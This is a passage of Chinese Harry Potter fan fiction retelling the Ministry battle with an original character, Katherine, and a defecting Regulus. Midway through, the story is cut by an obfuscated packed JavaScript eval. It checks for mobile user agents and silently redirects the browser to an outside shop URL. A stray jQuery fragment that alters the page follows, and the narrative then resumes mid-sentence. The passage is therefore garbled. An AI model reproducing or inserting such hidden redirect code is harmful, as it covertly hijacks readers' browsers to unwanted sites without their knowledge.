从碎裂的玻璃球里冒出来的这两个身影溶化成薄薄气体，消失得无影无踪，只剩下地板上的玻璃碎片。
它们给了哈利一个灵感。问题是怎样把他的想法告诉其他人。
“要我把球给你，你还没有告诉我这个预言有什么特别之处呢。”哈利说道，他在拖延时间。他慢慢把脚挪向一侧，想接触到其他人的脚。
“别跟我们耍花招，波特。”马尔福说。
“我没有耍花招。”哈利回答，他一边跟他们对话一边挪动着自己那只脚。接着他感觉到了某人的脚趾，于是踩了上去。身后发出一个尖细的吸气声，他听出自己踩到了赫敏的脚。
“怎么了？”赫敏声音很小地问道。
“邓布利多从来没告诉过你，你留下那道伤疤的原因就藏在神秘事务司里吗？”马尔福嘲笑着说。
“我——什么？”哈利说，片刻间他完全忘了自己的计划，“我的伤疤怎么了？”
“怎么了？”赫敏在身后又小声问了一遍，语气比刚才还要急切。
“这怎么可能？”马尔福不怀好意地开心说；几个食死徒再次大笑起来，在这些笑声的掩护下，哈利尽可能小地蠕动嘴唇，从牙缝里挤出声音对赫敏说：“打碎架子——”
“邓布利多从来没有告诉过你？”马尔福又说了一遍，“那么，这就可以解释你为什么没有早点到这儿来了，波特，黑魔王很奇怪为什么——”
“——等我说开始——”
“——为什么当他在梦里告诉你它藏在什么地方的时候，你没有跑过来。他认为本能的好奇心会让你渴望听到那些准确的信息……”
“是吗？”哈利说。在他身后，与其说是听到，不如说是感觉到赫敏正在把他的话传递给其他人。他得想办法将谈话进行下去，以转移食死徒的注意力。“所以他要我拿到那个预言球，对吗？为什么？”
“为什么？”马尔福开心地说道，“因为只有预言中提到的人，波特，才有权从神秘事务司拿到它，这是黑魔王在利用别人为他拿出预言球时发现的。”
“那么，他为什么想拿关于我的预言？”
“关于你们两个的，波特，是关于你们两个的……难道你从来就没有想过，当你还是个婴儿的时候，黑魔王为什么要想办法干掉你？”
穿过马尔福兜帽上那道眼孔，哈利瞪着他那双若隐若现的灰色眼睛。这个预言就是哈利的父母死去的原因吗？就是他带着自己那道闪电形伤疤的原因吗？所有这些的答案都攥在自己的手中吗？
“有人为我和伏地魔做了同一个预言？”他轻轻地说，目不转睛地盯着卢修斯·马尔福，手紧紧握着那个温乎乎的玻璃球。它几乎不比一个金色飞贼大，而且仍然蒙着灰尘。“如果预言中的人真的是他，他为什么不自己来拿呢？”
“他自己来拿？”贝拉特里克斯疯狂地笑了一声，尖叫着说，“因为他没有必要亲自来这里，有更重要的事情需要他去做。”
“所以他指使你们来为他做这种肮脏的勾当，是不是？”哈利说，“就像他想让斯多吉来偷这个预言球一样——还有博德？或者，还有雷古勒斯……”
“太对了，波特，太对了……”马尔福慢条斯理地说，“但是，黑魔王知道你还没有傻到——”
他的话戛然而止，一道无声咒从食死徒的背后打了过来，卢修斯脸朝下栽倒在了地上。
贝拉特里克斯和其他食死徒都不约而同地往身后望去，想要知道究竟是出了叛徒还是还有其他人在。房间黑漆漆的，除了预言球发出的微光，很显然角落里空无一人。
“究竟是——”
“开始！”哈利高声喊道。
他并不清楚卢修斯为什么会倒在地上，但是他知道这是一个绝佳的机会。
五个不同的声音在他身后大叫：“粉身碎骨！”五条咒语飞向五个不同的方向，迎面的架子被击中后炸开了，高耸的架子摇摇晃晃，上百个玻璃球四分五裂，珍珠白色的身影展现在空中飘浮着，他们的声音在人们从未见过的如暴雨般落在地板上的碎玻璃和木屑中回荡——
“快跑！”哈利高喊，架子摇摇欲坠，更多的玻璃球开始从上面掉下来。他一把抓住赫敏的长袍往前拖，另一只胳膊遮住脑袋，大块断裂的架子还有细小的玻璃碎片轰隆隆哗啦啦落在他们身上。一个食死徒穿过尘雾向前猛蹿过来，哈利用胳膊肘狠狠地顶在他戴着面罩的脸上；痛苦的叫喊声、架子倒塌下来爆裂的轰鸣声，从玻璃球里释放出来的先知们断断续续的说话声古怪地响成一片——
哈利发现前面没有阻碍，还看到罗恩、金妮和卢娜从他身边飞奔而过，他们的胳膊都捂在脑袋上；有什么东西重重地从侧面打在他脸上，可他只是猛地低下脑袋一个劲儿地向前冲；他的肩膀突然被一只手抓住了，他听到赫敏大喊一声：“昏昏倒地！”那只手立刻松开了——
他们来到第97排的另一端；哈利向右一转开始全速奔跑；他能够听到身后的脚步声和赫敏催促纳威的声音；就在正前方，一扇门虚掩着，他们就是从这里进来的，哈利可以看到钟形玻璃罩闪烁着的光芒；他一个箭步冲出门外，等待其他人快速穿过门槛之后再把门猛地关上，预言球仍完好无损地攥在他的手里——
“速速禁锢！”赫敏上气不接下气地念着，屋门发出吱吱嘎嘎的奇怪声音封上了。
“他们——他们在哪儿？”哈利气喘吁吁地问。
他以为罗恩、卢娜和金妮跑在他们前面，会在这间屋子里等着他们，但这里没有人。
“他们一定是走错路了！”赫敏一脸惊慌地轻声说。
“听！”纳威小声说。
纷乱的脚步声和嘈杂的叫喊声从刚刚封闭的门后传过来；哈利把耳朵贴在门上，听见一个食死徒在狂吼：“别管卢修斯了，别管他，我说——对黑魔王来说，他的伤跟丢了预言球相比根本不算什么。我们之间可能出了叛徒，剩下的人要组织起来！大家两人一组分头搜寻，记住，在得到预言球前不要对波特动粗，如果需要，其他人都可以杀掉——”
“我们该怎么办？”赫敏浑身打着哆嗦问哈利。
“嗯，我们不能待在这里等着他们找到我们。”哈利说，“首先，离开这扇门。”
他们尽可能轻地经过有袖珍小蛋在里面孵化小鸟的微微闪光的钟形玻璃罩，跑向房间的另一头，那里有门可以通往环形门厅。快要跑到的时候，哈利听到有个巨大、沉重的东西撞在赫敏刚刚用魔咒关起来的那扇门上。
“闪开！”一个声音粗暴的大喊，“阿拉霍洞开！”
门猛地打开了，哈利、赫敏还有纳威迅速钻到桌子底下。他们可以看到地板上两个食死徒的袍子下摆越来越近，他们的步子迈得很快。
“他们可能已经径直跑到大厅里去了。”那个粗暴的声音说。
“检查一下桌子下面。”另一个说。
哈利看到他们的膝盖弯下来，他在桌子底下把魔杖探了出去，喊了一声：“昏昏倒地！”
一道红光击中了最近的一个食死徒，他向后仰面跌进一个落地大座钟里，把它撞翻了；但另一个食死徒跳到一旁躲开了哈利的咒语，他用自己的魔杖对准了为了瞄得更准一些而正从桌子底下爬出来的赫敏。
“阿瓦达——”
哈利跃过地板，整个身体扑过去抱住了他的两个膝盖，把他掀翻在地，他的魔杖打偏了。纳威急着帮忙，一下子顶翻了桌子；他发疯似的用魔杖对准扭打在一起的两个人，大喊：
“除你武器！”
哈利与食死徒的魔杖顿时脱手而出，朝后面通往预言大厅的入口飞了过去；他们俩都赶紧爬起来追赶他们的魔杖，食死徒在前，哈利在后。纳威在后面愣住了，显然是被他刚才所做的惊呆了。
“闪开，哈利！”纳威又喊，明摆着是要弥补刚才的过失。
当他再一次瞄准并口念咒语时，哈利飞快地闪到一旁。
“昏昏倒地！”
那道红光掠过食死徒的肩膀，打在一个带有玻璃前门的壁橱上，壁橱所在的那面墙上挂满了各式各样的沙漏。壁橱坠落在地，摔得四分五裂，玻璃飞得到处都是，接着壁橱又弹回到墙上，变得完好无损，然后又坠落下来，摔得粉碎——
食死徒的魔杖躺在烁烁闪光的钟形玻璃罩旁边的地板上，他一把抓了起来。当他转身的时候，哈利急忙蹲下躲在另一张桌子的后面；他的面罩滑下来遮住了眼睛。于是他用另一只空手扯掉面罩，大叫：“昏昏——”
“昏昏倒地！”赫敏已经追上了他们，扯着嗓子高喊。一道红光打在食死徒的胸口上：他定住了，仍举着手臂，魔杖咔哒一声掉在地上，然后朝身后的钟形玻璃罩仰面倒了下去。哈利以为他会当的一声撞在坚固的玻璃上，再顺着钟型玻璃罩滑到地板上。然而，他的脑袋穿过钟形玻璃罩沉了下去，好像那只是个肥皂泡似的，接着他变得一动不动，摊开四肢躺在桌子上，脑袋沉在充满闪光气流的钟形玻璃罩里。
“魔杖飞来！”赫敏喊道，哈利的魔杖从一个漆黑的角落里飞到她的手上，她把它抛给了哈利。
“谢谢，”哈利说，“好吧，让我们离开这——”
“小心！”纳威惊恐地说，他正盯着脑袋在钟形玻璃罩里的食死徒。三个人重新举起魔杖，但谁也没打过去：他们都目不转睛地张着嘴巴，胆颤心惊地注视着那个脑袋的变化。
它在很快地收缩，变得越来越光秃，黑色的头发和胡子茬缩回到脑袋里，它的脸颊变得光滑起来，脑袋圆圆的，覆盖着一层绒毛……
就在食死徒挣扎着重新站起来的时候，一个婴儿脑袋怪异地长在他那粗壮的、肌肉发达的脖子上；然而，就在他们看得目瞪口呆的时候，那颗脑袋又开始膨胀到它以前的大小，浓密的黑色毛发又从头顶和下巴上长了出来……
“是时间，”赫敏用畏惧的声音说，“时间……”
那个食死徒又摇了摇丑陋的脑袋，努力想使自己变清醒，但是还没等他振作起来，他的脑袋又一次开始缩回到婴儿时期……
附近的屋子里传来一声叫喊，接着是一声撞击和一声尖叫。
“罗恩？”哈利喊道，立刻从眼前发生的怪异现象中转过身来，“金妮？卢娜？”
“哈利！”赫敏尖叫起来。
那个食死徒已经把头从钟形玻璃罩里抽了出来，他的样子怪极了，那颗小小的婴儿脑袋高声喊叫着，粗壮的手臂四处挥舞，很是危险，差一点就打到了已经低头躲避的哈利。哈利举起魔杖，但让他诧异的是，赫敏抓住了他的胳膊。
“你不能伤害一个婴儿！”
已经没有时间来争论这个问题了；哈利听到更多的脚步声从预言大厅里传过来，越来越响，他也意识到自己不该喊得那么大声，暴露了他们的位置，但是已经太晚了。
“过来！”他招呼了一声。房间另一端的门敞开着，通向那个黑色门厅，他们飞快地朝那扇门跑过去，把那个摇摇晃晃、长着丑陋婴儿脑袋的食死徒丢在身后。
他们刚跑到半路，哈利就从敞开的门中看到另外两个食死徒正穿过黑色的屋子向他们跑来；他马上调转方向，冲进左边一间黑乎乎、乱糟糟的小办公室，砰的一声把他们身后的门关上了。
“速速——”赫敏开口说，但没等她念完咒语，门就被撞开了，那两个食死徒冲了进来。
伴着胜利的欢呼，两个人都大叫起来：
“障碍重重！”
哈利、赫敏和纳威全都被撞飞了；纳威被抛到桌子后面不见了；赫敏撞上一个书架，厚厚的书本倾泻下来，立刻把她埋住了；哈利的后脑勺猛地撞到身后的石头墙上，眼前直冒金星，一时间他头晕眼花，什么也做不了。
“我们抓住他了！”离哈利最近的那个食死徒大声喊道，“在一间办公室里，离——”
“无声无息！”赫敏大喊，食死徒的声音消失了。通过面罩的洞口，他还在不停地动着嘴巴，但一点儿声音也没有。他的同伙把他推到一旁。
“统统石化！”就在第二个食死徒举起魔杖时，哈利高喊。那个食死徒的胳膊和腿都啪地贴在一起，他脸朝下倒在哈利脚边的地毯上，僵硬得像块木板，不能动弹了。
“太棒了，哈——”
那个刚刚被赫敏打哑的食死徒突然一挥他的魔杖，一道像是紫色火苗的东西穿透赫敏的胸膛，赫敏似乎惊讶地轻轻“哦”了一声，缩倒在地上一动也不动了。
“赫敏！”
哈利赶忙跪在她旁边，纳威也从桌子底下飞快地爬过来，魔杖举在他的面前。食死徒一看到纳威，马上朝他的脑袋狠狠地踢了过去——一脚踢断了纳威的魔杖，踹在他的脸上。紧接着一个咒语打在他脸上，纳威惨叫了一声躺在桌子底下不动了。
哈利转身高举着魔杖，看到那个食死徒已经扯下面罩，正用魔杖对准自己。哈利认出了这张苍白、扭曲的长脸，那正是《预言家日报》登载过的安东宁·多洛霍夫。
多洛霍夫笑得咧开了嘴巴。他那只空着的手指了指仍攥在哈利手中的预言球，又指了指自己，接着又指了指赫敏。尽管他说不出话来，但是他的意思再明白不过了：把预言球给我，不然你就跟她一个下场……
“交出预言球你照样会把我们杀光！”哈利说。
哈利头脑中掠过一阵恐慌，他已无法正常地思考。他一只手放在赫敏的肩上，仍能感觉到她的体温，但他根本不敢正眼看她。
他眼角的余光看见晕倒在桌子下面的纳威·隆巴顿，他的鼻子还流着鼻血。
忽然，门外响起轰的一声，多洛霍夫回头一看——长着婴儿头的食死徒出现在门口，他的脑袋叫喊着，失去控制的巨大双拳朝周围的一切东西挥打过去。哈利逮住了这个机会：
“统统石化！”
多洛霍夫还没来得及抵挡，咒语就已经击中了他。他向前扑倒下去，横着压在他同伙的身上，他们两个都僵硬得跟木板一样，一动也不动了。
“赫敏，”哈利立刻晃动着赫敏，这时长着婴儿头的食死徒又跌跌撞撞地从视线里消失了，“赫敏，醒醒……”
他把手伸到赫敏的鼻子下，发现她还有呼吸，桌子下的纳威也一样。
哈利觉得紧张的情绪有了一些缓解。
他没有再吭声，竭力倾听周围的动静，但是只能听到呜咽声和跌跌撞撞走动的声音，那是长着婴儿脑袋的食死徒在隔壁屋子里发出来的。
哈利从门口探出头来，小心地环视了一下。长着婴儿脑袋的食死徒还在那里高声尖叫，不停地敲打撞击周围的东西。他推倒了落地大座钟，弄翻了桌子，糊里糊涂地哭叫着。他身后那个有玻璃前门的壁橱继续坠落下来摔得粉碎，然后又回到墙上自动地恢复原状，哈利估计那里面存放着所有的时间转换器。
他蹑手蹑脚地从办公室溜了出来，朝通往黑色门厅的屋门走去，那里现在看起来一个人也没有。
时间厅的门在他们的身后关上了，四周的墙又开始转动起来。刚才哈利后脑勺上挨的那一下好像把他打蒙了。他眯起眼睛，微微晃悠着，直到墙壁又停止了转动。他发现赫敏在门上留下的燃烧的X字都消失了，心里猛地一沉。
他还没来得及决定该试试哪个门，右边的一扇门突然弹开了，有三个人从里面跌了出来。
“罗恩！”哈利沙哑地喊道，朝他们冲了过去，“金妮——你们都——”
“哈利，”罗恩说，他虚弱地傻笑着，向前一倒抓住了哈利胸前的袍子，用恍惚的目光盯着哈利，“是你们啊……哈哈哈……你看起来真滑稽，哈利，……你现在真是一团糟……”
罗恩的脸色十分苍白，一些黑色的东西正从他的嘴角流下来，紧接着他腿一软倒了下去，可手里仍抓着哈利的袍子，弄得哈利只好弯下腰。
“金妮？”哈利担心地说，“出什么事了？”
金妮摇了摇脑袋，靠着墙壁滑下去坐在地上，气喘吁吁地握着自己的脚脖子。
“我觉得她的脚脖子骨折了，我听到了咔嚓一声。”卢娜小声说，她正俯下身子站在金妮跟前，看起来是唯一没有受伤的人，“有四个人把我们追进一间满是行星的黑屋子；那真是个怪地方，有时候我们就飘浮在黑暗中……”
“哈利，我们看到天王星正靠近我们！”罗恩说，仍在虚弱地傻笑着，“明白吗，哈利？我们看到天王星——哈哈哈——”
他的嘴角上冒出一个血泡，然后破裂了。
“——可是有一个人抓住了金妮的脚，我用了粉碎咒，结果冥王星在他面前爆炸了，但是……”
卢娜无奈地朝金妮打了个手势，她的呼吸非常微弱，始终闭着眼睛。
“罗恩是怎么了？”哈利担心地问道。罗恩还在傻笑着，吊在哈利胸前的袍子上。
“我不清楚他们用什么打中了他，”卢娜难过地说，“可他变得有些古怪，我差点没办法把他带出来。”
“哈利，”罗恩说着把哈利耳朵扯到自己跟前，仍在虚弱地傻笑着，“你知道那个女孩子是谁吗，哈利？她是凯瑟琳……凯瑟琳回来了……她就在这里哈哈哈……”
“凯瑟琳？你们看到凯瑟琳了吗？”哈利有片刻忘记自己应该怎么办。如果凯瑟琳在这里，或许他会镇静很多——他现在已经弄不清楚凯瑟琳究竟是站在食死徒那边，还是自己这边，但是直觉告诉他，他需要凯瑟琳帮助她。
“我们得离开这儿。”卢娜打断了哈利的思绪。为了安全起见，她把自己的魔杖架在耳后，接着用一只胳膊搂住金妮的腰把她扶了起来。
“不过是脚脖子受伤，我自己能行！”金妮有些急躁地说，但是说着她就朝一旁倒了下去，为了稳住自己她只好赶忙抓住卢娜。哈利把罗恩的一只胳膊搭在自己的肩上。他朝四下里看了看，他们第一次就能找到出口的机会只有十二分之一——
他扶着罗恩向一扇门走去；只差几步路的时候，大厅对面的另一扇门猛地打开了，贝拉特里克斯·莱斯特兰奇带着两个食死徒跑了进来。
“他们在这儿！”她尖叫着说。
昏迷咒横穿房间射了过来：哈利一头冲进面前的那扇门，匆忙放下罗恩，他们全都跨过了门槛，及时把贝拉特里克斯关在了门外。
“速速禁锢！”哈利喊道，他听见门外那三个食死徒正用身体撞击房门。
“没关系！”一个男人的声音说，“还有别的路可以进去——我们找到他们了，他们就在这儿！”
哈利转过身；他们又回到了大脑厅，四周的墙壁上确实有很多门。他能听见身后大厅里的脚步声，更多的食死徒正跑过来与起初的三个人会合。
“卢娜——帮帮我！”
他们两个分头绕着屋子飞跑，一边跑一边把门封好；哈利急忙跑向另一扇门时撞上了一张桌子，他从桌面上一翻身滚了过去。
“速速禁锢！”
这些门的背后传来许多跑动的脚步声，不时有人用沉重的身体撞在门上，把门撞得吱吱地颤动着；卢娜和纳威正沿着对面的墙壁给屋门施魔法——接着，就在哈利来到屋子另一端时，他听见卢娜喊道：
“速速——啊——！”
他一转身，正好看见卢娜被抛了起来；五个食死徒穿过卢娜没来得及封闭的那扇门拥进了屋子；卢娜撞在一张桌子上，顺着桌面滑落到另一侧的地板上，她四肢摊开平躺在那里，像赫敏一样一动不动了。
“抓住波特！”贝拉特里克斯尖叫一声朝哈利跑过来；哈利躲开了她，掉头往回狂奔；只要他们不击中预言球，他就是安全的——
“嘿！”罗恩说，他已经摇摇晃晃地站了起来，正傻笑着踉踉跄跄地向哈利走去，“嘿，哈利，这里有些大脑，哈哈哈，很奇怪吧，哈利？”
“罗恩，闪开，趴下——”
但是罗恩已经用魔杖对准了那个玻璃缸。
“真的，哈利，那是大脑——看——大脑飞来！”
场面似乎在顷刻间定格了。哈利和金妮，还有每一个食死徒都没有注意彼此，而是注视着那个玻璃缸的顶端。一个大脑从绿色液体中跃了出来，就像一条欢蹦乱跳的鱼：它好像在半空中悬停了一会儿，接着朝罗恩飞过去，一边飞一边吐着丝，就像是从它身上飞出了有活动形象的带子，跟成卷的电影胶片似的一圈圈展开了。
“哈哈哈，哈利，看呀——”罗恩一边说，一边看着大脑吐出华而不实的脑浆，“哈利，过来摸一下；肯定很古怪——”
“罗恩，不要！”
哈利不知道如果罗恩触摸了那些拖在大脑后面的思想触角会怎么样，但他确信那不是什么好事。他向前冲过去，但是罗恩已经伸出双手抓住了大脑。
这些触角一接触到罗恩的皮肤，立刻开始像绳子一样缠住了他的手臂。
“哈利，你看这是怎么了——不不——我不喜欢这样——停下来——停下来——”但是细细的带子已经绕在了罗恩的胸膛上；他拼命地撕扯着像章鱼一样紧紧缠绕着自己身体的大脑。
“四分五裂！”哈利大叫，希望在罗恩的眼睛被缠住以前斩断这些触角，可是它们没有断开。罗恩摔倒了，还在不停地翻腾着想挣脱束缚。
“哈利，他会被憋死的！”金妮尖叫起来，由于脚脖子受了伤，所以她待在地上无法动弹——一道红光从一个食死徒的魔杖射出来，正好打在金妮脸上。她倒向一旁，躺在那里不省人事了。
“昏昏倒地！”哈利大声喊着，现在只剩他一个人了，他朝走过来的食死徒挥动着魔杖，“昏昏倒地！昏昏倒地！”
但是什么效果也没有。
他一个人得对付五个食死徒，其中两个食死徒发射出的几道箭一样的银光没有击中他们，但在他们身后的墙上留下了几个凹坑。哈利飞快地跑开了，贝拉特里克斯在后面紧紧追赶：哈利把预言球高高举在头顶上，全速朝屋子另一头跑去，一心想着把这些食死徒从自己的伙伴身旁引开。
这一招好像挺管用；他们跟在他身后飞奔，一路上撞飞了桌椅，但是他们唯恐损坏预言球，不敢对他施咒语，只有食死徒闯进来的那扇门仍然敞开着，于是他冲了过去，他在这间新屋子里跑了几步，突然觉得地板消失了——
他顺着一级级陡峭的石头台阶摔了下去，在每一级台阶上都被弹起来，最后一下撞击撞得他连气都喘不过来了。他平躺在石坑里，石头拱门竖立在台子上。整个房间回荡着食死徒们的大笑声：哈利向上一看，大脑厅里的五个食死徒正一步步走下台阶向他逼近，同时更多的食死徒从其他的门里冒了出来，开始朝着他跳下一级级石蹬。他的腿抖得厉害，几乎无法支撑自己的身体，但他还是站了起来。
预言球出乎意料地仍握在他的左手中，完好无损
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419023|135277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，魔杖紧紧握在他的右手里。他一边向后退一边扫视周围，尽量把所有的食死徒都收进自己的视线里。他的腿碰到了后面一个坚硬的东西：他已经退到了竖立着拱门的台子旁边，他爬到了台子上。
食死徒都停了下来，死死地盯着他。有几个也像他一样喘得厉害。还有一个食死徒流血不止；多洛霍夫已经解开了全身束缚咒，正斜眼盯着他，用魔杖对准了他的脸。
“波特，你完了。”
卢修斯不知道什么时候清醒了过来，他慢条斯理地说着扯下了面罩，“现在像乖孩子一样把预言球交给我吧。”
“让——让他们离开，我就把它给你！”哈利绝望地说。
几个食死徒大笑起来。
“你没有讨价还价的资格，波特。”卢修斯·马尔福说，他那张苍白的脸高兴得泛起了红晕，“你瞧瞧，我们有十个人，而你只有一个……难道邓布利多没有教过你怎么数数儿吗？”
哈利的心沉了下去。他用不着再想什么了，他别无选择。预言球仍握在他手里，被他的体温暖得温乎乎的，他把它递了过去。马尔福跳上前去想拿过来。
紧接着，在他们上方，又有两扇门猛地打开了，几个人突然飞快地冲进了屋子：西里斯、卢平、穆迪、唐克斯和金斯莱。
马尔福转过身，举起了魔杖，但是唐克斯已经向他发射了昏迷咒。哈利顾不上去看有没有打中，急忙一头跳下台子闪开了。凤凰社成员的出现转移了那些食死徒们的注意力，他们一边跳下一级级台阶，一边用雨点般的咒语射向这些食死徒。
“昏昏倒地！”
那个食死徒仰面倒了下去，面罩滑落下来：他就是差一点杀死巴克比克的麦克尼尔——凯瑟琳救了巴克比克，然后它和西里斯住在一起……现在不是想这个的时候——麦克尼尔的一只眼睛已经被戳得肿胀充血了。
这时西里斯与他的食死徒对手踉跄着从他们身边经过，搏斗进行得十分激烈，他们的魔杖挥舞成一片模糊的影子。哈利的脚踩到了一个圆圆的、硬邦邦的东西，滑了一下。一刹那间，他以为自己把预言球弄掉了。但紧接着他看到穆迪那只带魔法的眼睛正快速旋转着滚过地板。
魔眼的主人躺在哈利旁边，头上鲜血直流，他的攻击者现在正全力对付哈利——是多洛霍夫，他那张苍白的长脸都高兴得扭曲了。
“塔朗泰拉舞！”他用魔杖对准哈利大喊一声。
哈利急忙喊道：“盔甲护身！”
一种跟钝刀子似的东西从脸上迅速划过；它的力量把他撞向一旁。
多洛霍夫又举起了魔杖。“预言球飞——”
西里斯不知从什么地方冲了过来，一肩膀把多洛霍夫撞飞了。那个预言球又滑到哈利的指尖上，但是他努力抓住了它。此时西里斯与多洛霍夫正在猛烈搏斗，他们像舞剑一样挥动着魔杖，杖尖火星四射。
多洛霍夫抽回魔杖，准备像对付哈利和赫敏那样挥动它。哈利跳起来高喊：“统统石化！”多洛霍夫的胳膊和腿又一次贴在一起，仰面倒了下去，砰的一声撞在地上。
“干得漂亮！”西里斯一边喊着一边按下哈利的脑袋，躲过了正朝他们飞来的两个昏迷咒，“现在我要你们离开——”
两个人迅速弯下腰。一道绿光险些击中了西里斯。哈利看到屋子对面的唐克斯从石头台阶中间摔了下来，软绵绵的身体顺着一个个台阶向下滚落，贝拉特里克斯得意地转身跑去，重新投入了战斗。
“哈利，拿好预言球快跑！”西里斯一边大喊一边朝贝拉特里克斯迎面冲了过去。哈利没能看到接下来的情形：金斯莱从他眼前晃过，正在和没戴面罩、满脸麻子的卢克伍德激战；又一道绿光从哈利头顶飞了过去——
“预言球，把预言球给我，波特！”卢修斯·马尔福在哈利耳边吼道，哈利感到他的魔杖用力顶在了自己的肋骨之间。
“不……放——开——我……”哈利挣扎着，眼看预言球就要脱手——
马尔福被击飞了。哈利再一次爬起来时四下看了一眼，发现马尔福猛地撞到了台子上。台子上面，西里斯和贝拉特里克斯正在激战。当马尔福打算再次把魔杖举起来的时候，一个声音从台阶上方传来——
“都住手！真正的预言球在这儿。”
贝拉特里克斯听见那个声音，像是触电一般跳到了一边，就连西里斯也停了下来，其他的食死徒和凤凰社成员也朝声音的方向看去。
哈利回头顺着卢修斯的目光望过去。在他们正上方是通向大脑厅的房门——
真的是凯瑟琳！
她披着哈利的隐形衣，正站在门口，左手拿着一个和哈利手中十分相似的预言球，右手将银白色魔杖高高举过头顶（哈利认出来那根魔杖实际上是伏地魔的）。
“是凯瑟琳！黑魔王有命令，只要发现她就把她抓起来！”贝拉特里克斯尖叫起来。
“等等！但是她手上也有一个预言球——难道？”卢修斯有些颤抖地说。
“没错。”凯瑟琳冷笑起来。
“能够拿起预言球的人是我。早在你们进入魔法部之前，我就已经用一个假的预言球替换了它。即使哈利真的过来，你们也会因为预言球而无法伤害他。”
“你——！”贝拉再次尖叫起来，“预言球飞——”
她的咒语被另一个人挥开了。
“姐姐，打断别人的话可不是一个好习惯。”
雷古勒斯出现在凯瑟琳身后，食死徒们都露出了紧张的神色。
“雷古勒斯？你怎么敢违抗黑魔王的命令？”贝拉大叫着朝他发射死咒，但是这个咒语被身后的西里斯发出的魔咒打偏，恰好击中了凯瑟琳手中的预言球，预言球瞬间变得粉碎。
一个长着巨大眼睛的珍珠白色的身影升到了空中。她的嘴巴在一张一合，但是他们离凯瑟琳太远了，外加贝拉发狂的尖叫声，谁也听不清她说了什么。
那个身影说完话，消失得无影无踪。
“不！”贝拉震惊地喊道，“那个预言球才是真的！它被打碎了！我完了！”
她癫狂地朝着凯瑟琳和雷古勒斯的方向发射魔咒，指挥食死徒把凯瑟琳抓起来。但是凯瑟琳轻松地挥开了她的咒语。
“钻心剜骨！”雷古勒斯说道。
咒语把贝拉特里克斯撞倒在地，她尖叫一声，但并没有纳威那样疼得嗷嗷打滚——她很快就站了起来，上气不接下气的，笑容消失了。
“从来没有用过不可饶恕咒，是不是，亲爱的弟弟？”她高声嚷着，不再用那种婴儿般的假嗓音了，“你太弱了，太弱了！心慈手软，胆小怕事——让姐姐来给你做个示范吧，怎么样？我要给你点颜色看看——”
“钻心剜骨！”贝拉特里克斯尖叫了一声，她的魔咒再次被凯瑟琳轻松挥开了。
“我过去以及现在都是黑魔王的最忠实的仆人。我从他那里学到了黑魔法，我知道的咒语所具有的能量是你这样的小可怜永远都别指望达到的——”
“是吗？但看来你的主人要对你发怒了，因为你打碎了他想要的预言球！”西里斯在贝拉身后说道。
“住口！你这个家族叛徒！她手里那个才是假的，抓住波特！抓住他！”贝拉回过头，大声叫着，声音里第一次流露出恐慌。
“很遗憾，我手中的这个确实是真的。”凯瑟琳说道。
“骗人！”她尖叫着，但现在他从她的愤怒中听出了恐惧，“它在波特手上！预言球飞来！预言球飞来！”
“别浪费口舌了。”西里斯挡在哈利身前再次对贝拉特里克斯发动了攻击，其他的食死徒则开始朝凯瑟琳扑过去，凤凰社的成员紧随其后发射咒语阻拦他们。
哈利看到西里斯矮身闪过了贝拉特里克斯的一道绿光：他正在嘲笑她。
“得了，你可以做得更好！”他高声喊着，声音在整个巨穴般的屋子里回荡。
然而这时候，贝拉已经怒目圆睁，发射了第二道死咒。
第二道死咒被另外一道强烈的绿光挡住了，两道刺眼的强光在飘飞的黑色帷幔前相互制衡着。原来是雷古勒斯不知什么时候已经走下了台阶，来到了他哥哥身旁。
“你倒是小心点啊！”他话语里有些怪罪的意味，一边双手握住了魔杖加强这道死咒的力量。
“知道了。”属于西里斯的声音有些不满地说道。
“雷古勒斯，这么弱的死咒是想跟姐姐玩过家家吗？”贝拉看起来气急败坏，她在黑魔王那里学到了很多花招，于是她抬起了右手准备施法——
另外一道绿光加入了进来。光束一下就击中贝拉特里克斯的胸口——
只是一瞬间的事——
贝拉特里克斯脸上凶狠的表情还没有完全消失，然后就惊骇地瞪圆了双眼倒在了地上，以一种扭曲的姿势。她浑身上下像是干裂的颜料，出现了黑色的裂痕，大概是因为失去了黑魔法的庇护。
而西里斯和雷古勒斯定定地看着他们死去的姐姐，雷古勒斯捂着胸口喘息着，而西里斯站在他身侧。
忽然，他猛地将雷古勒斯推到了旁边，一挥魔杖挡住了另外一个食死徒发起的攻击。
“你倒是小心点啊！”哈利听到西里斯学者刚才雷古勒斯说的话对他说道。
“雷古勒斯！他叛变了！他杀了贝拉特里克斯！”那个食死徒恶狠狠地说道，他挥动魔杖打算再战，就被雷古勒斯迅雷不及掩耳发出的咒语击中，像石头一样仰面栽倒在地上。
“谢谢提醒。”雷古勒斯说道。
“用不着，先对付敌人。”
于是，两兄弟再次投入战斗，只是比以往任何一次都更加有默契。
更多的凤凰社成员涌了进来，他们把绝大多数食死徒困在房子的中间，看上去像是用无形的绳子把他们绑在那里一样。穆迪穿过房间，爬到唐克斯身边，试图把她唤醒。
就在这时，哈利感到额头掠过一阵剧痛——他的伤疤又火辣辣地痛了起来。他感觉到一阵与自己的愤怒毫不相关的强烈怒火涌了上来。
“他知道了！”哈利大喊起来。
他的伤疤燃烧着，灼痛难耐……疼得他眼泪汪汪……
其余还在打斗的食死徒露出了惊慌的神色。卢修斯跪倒在地上不断恳求伏地魔不要责罚他。
哈利感到额头上的疼痛越来越猛烈，他觉得自己的头骨就要炸开了。
“等死吧。一群蠢货。”一个愤怒的冷酷声音在说。
哈利睁开眼睛。
高高的、瘦瘦的，穿着黑色斗篷，苍白而憔悴脸上怒意正盛，瞳孔像一条细缝似的猩红眼睛死盯着哈利……
伏地魔出现了。就在大厅的中央，他丝毫不畏惧其他凤凰社成员的魔咒，只是把的魔杖指向哈利，哈利僵硬地站在那里，一动也不能动。
“凯瑟琳在哪？”伏地魔轻轻地说，用他那猩红、冷酷的眼睛盯着哈利。
